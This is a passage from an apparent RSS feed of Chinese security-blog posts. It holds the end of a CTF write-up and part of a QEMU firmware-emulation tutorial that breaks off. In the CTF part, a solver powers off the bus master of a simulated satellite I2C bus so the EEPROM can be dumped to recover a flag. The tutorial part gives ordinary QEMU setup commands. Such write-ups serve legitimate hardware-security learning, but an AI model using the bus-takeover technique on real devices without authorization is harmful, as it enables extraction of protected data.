&#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/le1D2uwOTUNUOLvwkibeREicIneLhInjCtN9AX81TXgStwhyicvjN3NFJ4PdWxPwC2yHlia9yuaLqlJVepWpyLCPLkOAokbt7nLT/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">此挑战运行两分钟，并模拟连接了以下设备的 I2C 总线：<br/>  - OBC（车载电脑 - 总线主控）<br/>  - EEP（存储包含 <span style="color: #98c379;line-height: 26px;">&#34;juicy data&#34;</span> + flag 的设备）<br/>  - EPS（电力系统控制器）<br/>  OBC 在运行时每十秒轮询一次总线，提供线索，并且通常在大部分时间占用总线。总线数据速率被人为限制以确保这一点。<br/>  我们需要转储 EEP，但是有两个问题：<br/>  1) EEP 电源在更新之间关闭。<br/>  2) OBC 大部分时间都在占用总线。<br/>  通过查看流量，我们看到 OBC 为设备启用电源，从中读取（在不包含标志的随机区域），然后将其关闭。在那之后，在轮询再次开始之前有一个短暂的停顿（几秒钟）。<br/>  理想情况下，参赛者将使用该暂停，发出 I2C 请求以关闭 OBC 的电源，释放总线，以便 EEP 可以在分配的时间内转储。<br/></code></pre></section><p style="margin-bottom: 24px;"><span style="font-size: 15px;letter-spacing: 0.034em;">那么 0x41 就是 EPS 电源控制器了，0x5a 是 EEP，也就是存储着 &#34;juicy data&#34; + flag 的存储芯片。</span><span style="font-size: 15px;letter-spacing: 0.034em;">EPS 开关控制着我们能不能从 EEP 读取到数据，且每次我们发送开启后都会被再次关闭，根据我们发现的规律，电源控制器的二进制表示的第 6 位表示 EEP 的开关</span><br/></p><table width="100%"><tbody><tr style="height: 33px;"><td style="border-color: #d9d9d9;"><p style="min-height: 24px;"><span style="font-size: 15px;">EEP电源开关</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">EPS状态（十六进制）</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">EPS状态（二进制）</span></p></td></tr><tr style="height: 33px;"><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">EEP电源开关关闭</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">0x1f</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">0001 1111</span></p></td></tr><tr style="height: 33px;"><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">EEP电源开关打开</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">0x3f</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">0011 1111</span></p></td></tr></tbody></table><p style="margin-bottom: 24px;"><span style="font-size:15px;">因为总线被 OBC 占用了大部分时间，我们要做的就是发送 IIC 数据，把除了 EEP 之外的设备电源关闭以释放总线资源，EEP电源打开的情况是 00111111，关闭情况是 00011111，因此只打开 EEP 电源的情况是 0010 0000，也就是十六进制的 0x20，因此发送 ^83000020. 即可保持 EEP 打开而其他设备关闭，然后发送以下指令正常读取 EEP 数据即可</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/le1D2uwOTUNUOLvwkibeREicIneLhInjCtN9AX81TXgStwhyicvjN3NFJ4PdWxPwC2yHlia9yuaLqlJVepWpyLCPLkOAokbt7nLT/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">^b400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000<br/></code></pre></section><p style="margin-bottom: 24px;"><img class="rich_pages wxw-img" data-ratio="0.4777777777777778" style="text-align: center;font-size: var(--articleFontsize);letter-spacing: 0.034em;border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c9efc7f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fdf1X0NvQ5KmWt5zicx5aYOicmvvnrmvhlPJHOzrpKC3qYS39hCBJLMOXHalCGZLuQTW2tZFwlYLQk7WDaKA153wg%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="margin-bottom: 24px;"><span style="font-size: 15px;letter-spacing: 0.034em;">读取出来的数据如下，处理后将十六进制值转为字符串得到 flag：</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/le1D2uwOTUNUOLvwkibeREicIneLhInjCtN9AX81TXgStwhyicvjN3NFJ4PdWxPwC2yHlia9yuaLqlJVepWpyLCPLkOAokbt7nLT/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">^b4+00+00+4a+75+69+63+79+20+44+61+74+61+20+30+30+00+4b+fb+1b+a3+4a+05+7e+a3+63+46+f2+0c+57+b4+eb+50+68+cf+8b+e4+1f+6f+40+7b+91+82+23+<span style="color: #e6c07b;line-height: 26px;">fc</span>+65+a6+3a+b0+a1+55+53+eb+5b+d1+8f+be+17+81+cb+6f+35+b6+bf+9e+85+4a+4a+75+69+63+79+20+44+61+74+61+20+30+31+00+d7+ac+75+32+7e+04+f1+95+85+bc+04+bb+72+c4+59+f7+0e+db+9c+c8+9e+bb+14+e2+fe+5b+8c+e6+dd+e5+70+b5+92+e6+e7+10+ea+d8+a5+70+94+aa+2b+06+6e+84+fe+7c+5f+9a+4a+75+69+63+79+20+44+61+74+61+20+30+32+00+90+2e+f3+7b+07+99+eb+9b+43+16+a2+b1+9a+a0+2d+f9+3a+72+f7+8f+cb+d7+e3+80+43+1d+12+94+c7+59+78+58+87+6b+d3+8e+04+be+2a+47+d4+cc+f8+6e+6c+26+67+a6+98+5e+4a+75+69+63+79+20+44+61+74+61+20+30+33+00+f0+28+65+f5+e6+8f+3c+ba+5b+35+28+c7+5b+8f+6d+f3+ee+a2+57+23+bb+3b+9c+f0+31+a9+ed+80+2e+42+57+1e+6a+bc+13+50+4b+50+0a+a6+85+32+6d+e0+c2+da+d3+b0+7c+2b+4a+75+69+63+79+20+44+61+74+61+20+30+34+00+2b+78+13+76+c8+1d+1c+4d+50+89+2d+12+63+01+c2+e0+2c+95+17+92+05+3f+2a+1d+55+43+64+ad+b2+c9+66+6c+61+67+7b+31+32+33+34+7d+00+85+02+5e+86+c4+3e+b2+59+55+4a+75+69+63+79+20+44+61+74+61+20+30+35+00+89+97+f4+29+<br/></code></pre></section><p style="margin-bottom: 24px;"><span style="font-size: 15px;letter-spacing: 0.034em;"></span></p><p style="text-align: justify;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-ratio="0.46944444444444444" style="text-align: center;font-size: var(--articleFontsize);letter-spacing: 0.034em;border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e3b11889&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fdf1X0NvQ5KmWt5zicx5aYOicmvvnrmvhlPKVAxeBA11hS7GJnXqSfuElea4IowgbZxWeJ3ONbmlDwWOLMlh96QHw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;">参考：</span></p><p><span style="font-size: 15px;"><a href="https://zhuanlan.zhihu.com/p/503219395" target="_blank">https://zhuanlan.zhihu.com/p/503219395</a></span></p><p><span style="font-size: 15px;"><a href="https://www.elecfans.com/d/1845634.html" target="_blank">https://www.elecfans.com/d/1845634.html</a></span></p></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://www.yuque.com/hxfqg9/iot/pbiaowle4wcl20mp">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3be58324&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247488663%26idx%3D1%26sn%3Dde989a22f0410cc2fafb7e835448b0cd%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 22 Sep 2023 18:02:00 +0800</pubDate>
    </item>
    <item>
      <title>精选｜QEMU仿真方式总结</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247488569&amp;idx=1&amp;sn=7998c82f61a4e821f7e8fb11bb1dc190</link>
      <description>QEMU仿真方式总结</description>
      <content:encoded><![CDATA[<p>
原创 <span>小R同学</span> <span>2021-06-28 20:01</span> <span style="display: inline-block;"></span>
</p>

<p>QEMU仿真方式总结</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=476a7c81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPbtsyz8hiap3Nk8TibmKHjGXrwABOZkibFp5AFkjsOtHI0poiaNxTOXQKeIYEeeY3icWJBWtrUG93fm8IQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.43050847457627117" data-s="300,640" style="" data-type="png" data-w="885" src="https://wechat2rss.xlab.app/img-proxy/?k=a2da6bca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbtsyz8hiap3Nk8TibmKHjGXrWvy6u5Wib0RibO61K1Mbr0Rz5JwDs32ia6b2JGociawXxMt649icOC1GmQQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">QEMU是目前最先进的动态二进制翻译跨平台仿真软件，它可以模拟x86、ARM、ARM64、MIPS、PowerPC等架构。QEMU的原理主要是<strong>将ELF格式的可执行文件翻译成中间形式</strong>，然后根据中间形式，拷贝编译好的微操作代码，<strong>形成目标基本块</strong>，最后再执行此基本块。它的总体结构如图所示<br/></span><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7623762376237624" data-s="300,640" style="" data-type="png" data-w="606" src="https://wechat2rss.xlab.app/img-proxy/?k=3b54d969&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbtsyz8hiap3Nk8TibmKHjGXrD4zdh02NnvdhS6B786rk271khzOVVlNreJGZN3ulZ63BfgXmjd0y9A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">QEMU主要有两种仿真方式：<br/></span></p><ul style="list-style-type: disc;" class="list-paddingleft-2"><li><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">用户模式仿真：允许一个（Linux）进程执行在不同架构的CPU上，该模式下，QEMU 可以作为进程级虚拟机</span></p></li><li><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">系统模式仿真：允许仿真完整的系统，包括处理器和配套的外设，该模式下，QEMU 也可以作为系统虚拟机</span></p></li></ul><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">接下来我们从QEMU的安装开始来讲解这两种仿真方式，需要用到的固件可以在后台</span><span style="font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(255, 104, 39);"><strong>回复「QEMU」</strong></span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">获取<br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: center;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">1 安装QEMU</span><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></span></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer">sudo apt-get <span class="code-snippet__keyword">update</span></span></code><code><span class="code-snippet_outer">sudo apt-<span class="code-snippet__keyword">get</span> <span class="code-snippet__keyword">install</span> qemu-<span class="code-snippet__keyword">system</span>-mips</span></code><code><span class="code-snippet_outer">sudo apt-<span class="code-snippet__keyword">get</span> <span class="code-snippet__keyword">install</span> qemu-<span class="code-snippet__keyword">user</span></span></code><code><span class="code-snippet_outer">sudo apt-<span class="code-snippet__keyword">get</span> <span class="code-snippet__keyword">install</span> qemu-<span class="code-snippet__keyword">user</span>-<span class="code-snippet__keyword">static</span></span></code><code><span class="code-snippet_outer">sudo apt-get <span class="code-snippet__keyword">install</span> qemu-utils</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: center;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">2 QEMU系统模式仿真</span></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">首先我们需要从debian官网下载kernel和image，地址如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//people.debian.org/~aurel32/qemu/mipsel/</span></span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">「为什么我们这里知道使用mipsel呢，你可以在文件系统内随便找一个ELF文件，然后使用file命令查看一下」</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">将目录中的所有文件下载到一个kernel内即可，同时也将固件解压放到同一目录<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5932835820895522" data-s="300,640" style="" data-type="png" data-w="268" src="https://wechat2rss.xlab.app/img-proxy/?k=b716aa98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbtsyz8hiap3Nk8TibmKHjGXrKWS9ULXIsibNz8P1e6GN3gdzaedjbzaCf525AFpe80kdfrhaoAKP33A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">首先安装虚拟网络设备tun</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">sudo apt-<span class="code-snippet__keyword">get</span> install uml-utilities</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">为root用户添加网卡tap0<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">sudo</span> tunctl -t tap0 -u root</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">设置IP地址<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">sudo</span> ifconfig tap0 <span class="code-snippet__number">192.168.3.1</span>/<span class="code-snippet__number">24</span></span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">查看一下我们设置的IP地址<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">ifconfig</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5818965517241379" data-s="300,640" style="" data-type="png" data-w="928" src="https://wechat2rss.xlab.app/img-proxy/?k=f006016a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbtsyz8hiap3Nk8TibmKHjGXr84LE8K6wuoRO5CdcRzUmtibQpfhU6IPZXsqfDuVe1JqQXplL6GUoDKg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">进入kernel目录，并使用如下命令启动qemu：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">sudo</span> qemu-system-mipsel -M malta -kernel ./vmlinux-<span class="code-snippet__number">3</span>.<span class="code-snippet__number">2</span>.<span class="code-snippet__number">0</span>-<span class="code-snippet__number">4</span>-4kc-malta -hda ./debian_wheezy_mipsel_standard.qcow2 -append <span class="code-snippet__string">&#34;root=/dev/sda1 console=tty0&#34;</span> -net nic -net tap,ifname=tap0,script=<span class="code-snippet__literal">no</span>,downscript=<span class="code-snippet__literal">no</span> -nographic -s</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">命令解析如下<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.1689545934530095" data-s="300,640" style="" data-type="png" data-w="947" src="https://wechat2rss.xlab.app/img-proxy/?k=02a71d1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbtsyz8hiap3Nk8TibmKHjGXrEXK8us6PjkUyOcaeMG8Aoibu59MIZUks48EAs5wwINWMdcaibIOxv4zQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">效果如图所示<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4459893048128342" data-s="300,640" style="" data-type="png" data-w="935" 